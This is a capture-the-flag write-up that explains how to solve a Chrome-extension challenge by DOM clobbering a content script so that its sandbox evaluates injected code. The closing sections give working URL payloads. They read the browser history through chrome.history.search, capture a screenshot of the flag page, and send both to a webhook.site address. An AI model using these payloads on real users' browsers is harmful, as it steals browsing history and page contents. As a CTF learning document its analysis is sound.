I used other's writeup as a reference.
This challenge is about chrome extension which is made of javascript code.
You can check structrue of directory below folding code.
./
βββ crawler
β βββ crawler.js
β βββ Dockerfile
β βββ extension
β β βββ audio.html
β β βββ background.js
β β βββ content.js
β β βββ index.html
β β βββ manifest.json
β β βββ ring.mp3
β β βββ sandbox.js
β βββ package.json
β βββ package-lock.json
βββ docker-compose.yml
βββ redis
β βββ Dockerfile
β βββ redis.conf
βββ report
β βββ app.py
β βββ Dockerfile
β βββ templates
β β βββ index.html
β βββ uwsgi.ini
βββ service
βββ app.py
βββ Dockerfile
βββ static
β βββ css
β β βββ style.css
β βββ js
β βββ main.js
βββ templates
β βββ index.html
βββ uwsgi.in
Find a location of flag, first.
// /crawler/crawler.js
const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});
const flagPath = process.env.RANDOM || "REDACTED"
const base_url ="http://challenge:8080";
const browser_option = {
executablePath: '/usr/bin/google-chrome',
headless: false,
ignoreHTTPSErrors: true,
args: [
"--no-sandbox",
"--load-extension=/extension",
"--disable-extensions-except=/extension",
"--enable-automation"
]
}
const sleep = ms => new Promise(r => setTimeout(r, ms));
const crawl = async (target) => {
const url = `${base_url}/${target}`;
console.log(`[+] Crawling: ${url}`);
const flagUrl=`${base_url}/${flagPath}`; // Final Goal
const extUrl="chrome-extension://pifcfidoojbiodholilemccdnkcibghf/index.html"
const browser = await puppeteer.launch(browser_option);
const page2 = await browser.newPage();
await page2.goto(base_url, {
waitUntil: 'networkidle0',
timeout: 2 * 1000,
});
const pageExt=await browser.newPage();
await pageExt.goto(extUrl);
await sleep(1000)
const page1 = await browser.newPage();
await page1.goto(flagUrl);
await page1.close();
const page = await browser.newPage();
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 3 * 1000,
});
// await page.close();
await browser.close();
}
const handle = async () => {
console.log(await connection.ping());
connection.blpop('report', 0, async (err, message) => {
try {
await crawl(message[1]);
setTimeout(handle, 10);
} catch (e) {
console.log("[-] " + e);
}
});
};
handle();
When you report some path, admin bot accesses and checks the pages in the following order.
1. "extUrl" / 2. "flagUrl" / 3. "url"
We can guess if we get flagUrl, we can get a real flag.
import flask
import os
# /service/app.py
import re
import ipaddress
FLAG= os.environ["FLAG"]
app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
RANDOM=os.environ["RANDOM"]
@app.route("/", methods=['GET'])
def index():
resp = flask.make_response(flask.render_template("index.html"))
resp.headers['Content-Security-Policy'] = \
"script-src 'self' https://cdn.jsdelivr.net;" \
"object-src 'none';" \
"base-uri 'none';"
return resp
@app.route("/"+RANDOM, methods=['GET'])
def flag():
if ipaddress.ip_address(flask.request.remote_addr) in ipaddress.ip_network('10.103.0.0/16'):
resp = flask.make_response(FLAG)
return resp
else:
resp = flask.make_response("You are not supposed to be here")
return resp
if __name__ == '__main__':
app.run(debug=False)
It seems no vulnerable point in backend code in app.py. Let's check front javascript code.
// /service/static/js/main.js
window.onload=()=> {
var hasExtension = false;
var extensionId="pifcfidoojbiodholilemccdnkcibghf"
if(chrome.runtime == undefined){
document.getElementById("msg").textContent="You have to install the Chrome extension to get the most of our web app"
return
}
chrome.runtime.sendMessage(extensionId, { message: "hello" },
function (answer) {
if (answer) {
if (answer.reply==="Konnichiwa") {
hasExtension = true;
console.log("Extension installed :-)")
}
}
else {
hasExtension = false;
}
console.log(hasExtension)
if(!hasExtension){
document.getElementById("msg").textContent="You have to install the Chrome extension to get the most of our web app"
}
}
);
var url = new URL(location.href);
var inp = url.searchParams.get("message");
options={FORBID_TAGS:["meta"]}
if(inp){
document.getElementById("msg").innerHTML=DOMPurify.sanitize(inp,options)
}
};
You can see "DOMPurify.sanitize" funciton. At first time I saw this code, I thought that this challenge is related to XSS that bypass DOMPurify. The bottom line is that this is absolutely wrong. (I only tried to solve this challenge by using Zero-day exploit that DOMPurify function has )
All we need to do is remember that service use "inp" parameter to send command to chrome extension.
Let's check chrome extension code.
// /crawler/manifest.json
{
"name": "Ringtone",
"version": "1.0.0",
"description": "Best extension to ring around",
"manifest_version": 3,
"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzyW25xojoIthon4SzVp+YJ1FAplYACiiBIK+g+t7XCogNvbNpK87SpoVaxMcruPS44ltYsLCX/Ab/dRaG6LdBpaOvc9MzZ92BQcgp7Otn1bHmFT/l7On/Dx70iaOAiwlI4t6uskIzsi5rsIQsel4Qlg0ROtK8bTUO6hVygIN/5r7GVczwuQOtoEdGArimHeVOg/nT0VATogJoEYw6LJ7sLmDGyHGZpotwq4GlBRt4IT5S2SQGhuVYkL1vGABAl/46PkAhTEVmuoTG6yzfN7jXFZO+pGDLlxqQgUJjQ/LqP0gmo9Nn9hxaTNCoQ7bjR5g1kFRTHstGdsN/FQV/c+PSQIDAQAB",
"background": {
"service_worker": "background.js"
},
"content_scripts": [{
"matches": ["*://*.zer0pts.com/*","http://localhost/*","http://challenge/*"],
"js": ["content.js"]
}],
"externally_connectable": {
"matches": ["*://*.zer0pts.com/*","*://localhost/*","http://challenge/*"]
},
"host_permissions":["<all_urls>"],
"permissions":["history","activeTab","tabs"],
"author": "kahla",
"action":{
"default_popup": "index.html",
"default_title": "Ringtone Extension"
}
}
The content of manifest.json is like this.
// /crawler/extension/background.js
chrome.runtime.onMessageExternal.addListener(
function(request, sender, sendResponse) {
if (request) {
if (request.message) {
if (request.message == "hello") {
sendResponse({reply: "Konnichiwa"});
}
}
}
return true;
});
const sleep = ms => new Promise(r => setTimeout(r, ms));
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if(request.play=="play"){
chrome.tabs.create({url:"audio.html"},async (tab)=>{
await sleep(5000);
chrome.tabs.remove(tab.id)
})
sendResponse({text:"played successfully"})
}
}
)
const prefix = location.origin + '/?code=';
self.onfetch= e => {
if (e.clientId && e.request.url.startsWith(prefix)) {
e.respondWith(new Response(e.request.url.slice(prefix.length), {
headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' },
}));
}
};
This file just react differently depending on requested command and add header in response.
// crawler/extension/content.js
console.log('content script initialized!!');
var form=document.getElementById("ring-form");
form.addEventListener("submit",
async (evt)=>{
evt.preventDefault();
var val=form.elements["message"].value;
console.log(val)
const response = await chrome.runtime.sendMessage({play:"play"})
if(response.text=="played successfully"){
console.log("yattaa")
}
}
)
chrome.runtime.onMessage.addListener(function (msg, sender, sendResponse) {
if (msg.text === 'report_back') {
console.log("msg received")
if(users.privileged.dataset.admin){ // Code that don't need to be here
sendResponse(users.privileged.dataset.admin)
}
}
});
You can see that there is some code that is not necessary for the service to work. (I added remark "code that ~~" ).
But we can't know how to use it to get flag. So let's get past this code.
// /crawler/extension/sandbox.js
function evalCode(code) {
const script = document.createElement('script');
script.src = '/?code=' +code;
document.documentElement.appendChild(script); // Can Trigger XSS
}
chrome.tabs.onUpdated.addListener(function (tabId,tab) {
console.log(tabId)
chrome.tabs.sendMessage(tabId, {text: 'report_back'}).then((resp)=>{
evalCode(resp)
})
});
It create html element with the incoming value.
The incoming value means the value that you input in crawling page.
Summary
To get the flag, have to know "flagUrl".
We checked that we can make html element in sandbox.js. And also checked "users.privileges.dataset.admin" is not should be needed in this service in content.js. We use these two factors, first.
[ Point 1 ]
By Triggering "Dom clobbering", we can manipulate crawler working in wrong way.
<form id=users><img name=privileges data-admin=aaa> </form>
Made this html file and had some test.
It worked! We just modify 'aaa' part and use above payload to exploit.
<form id=users><img name=privileges data-admin=[Some of Payload]> </form>
[ Point 2 ]
// /crawler.js
const crawl = async (target) => {
const url = `${base_url}/${target}`;
console.log(`[+] Crawling: ${url}`);
const flagUrl=`${base_url}/${flagPath}`; // Final Goal
const extUrl="chrome-extension://pifcfidoojbiodholilemccdnkcibghf/index.html"
const browser = await puppeteer.launch(browser_option);
const page2 = await browser.newPage();
await page2.goto(base_url, {
waitUntil: 'networkidle0',
timeout: 2 * 1000,
});
const pageExt=await browser.newPage();
await pageExt.goto(extUrl);
await sleep(1000)
const page1 = await browser.newPage();
await page1.goto(flagUrl);
await page1.close();
const page = await browser.newPage();
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 3 * 1000,
});
// await page.close();
await browser.close();
}
The admin bot accesses extUrl, flagUrl, and url in that order.
"host_permissions":["<all_urls>"],
"permissions":["history","activeTab","tabs"],
"author": "kahla",
"action":{
"default_popup": "index.html",
"default_title": "Ringtone Extension"
And there is "history" option in permissions. That means chrome extension record the history. If search history of chrome extension, we can get "flagUrl". Let's make payload which give us "flagUrl".
?message=<form%20id=users>%20<img%20name=privileged%20data-admin=chrome.history.search({text:``,maxResults:10},function(data){data.forEach(function(page){fetch(`https://webhook.site/eb1ced50-a428-40b2-a43e-276e76ab4488?a=`%2Bpage.url);});});></form
Send above payload in crawling page, we can get flagUrl.
flagUrl is "http://challenge:8080/REDACTED". (I tested in local environment so flag url is "/REDACTED")
[ Point 3 ]
The final step is to have the admin bot enter to the flagUrl page, and we figure out and then get the flag.
reference : https://developer.chrome.com/docs/extensions/reference/tabs/
We make admin bot capture a screenshot when it enter to flagUrl. And then throw the screenshot to my webhoook site.
"tabs.captureVisibleTab" make admin bot capture screenshot. Let's put this code into the payload.
?message=<form%20id=users>%20<img%20name=privileged%20data-admin=chrome.tabs.create({url:`http://challenge:8080/REDACTED`},function(tab){setTimeout(function(){chrome.tabs.captureVisibleTab(null,{},function(dataUri){navigator.sendBeacon(`https://webhook.site/eb1ced50-a428-40b2-a43e-276e76ab4488`,dataUri);})},1000);});></form>
Then, we cat get some data. It is image data encrypted in base64. Let's decrypt it!
https://codebeautify.org/base64-to-image-converter
Gotcha!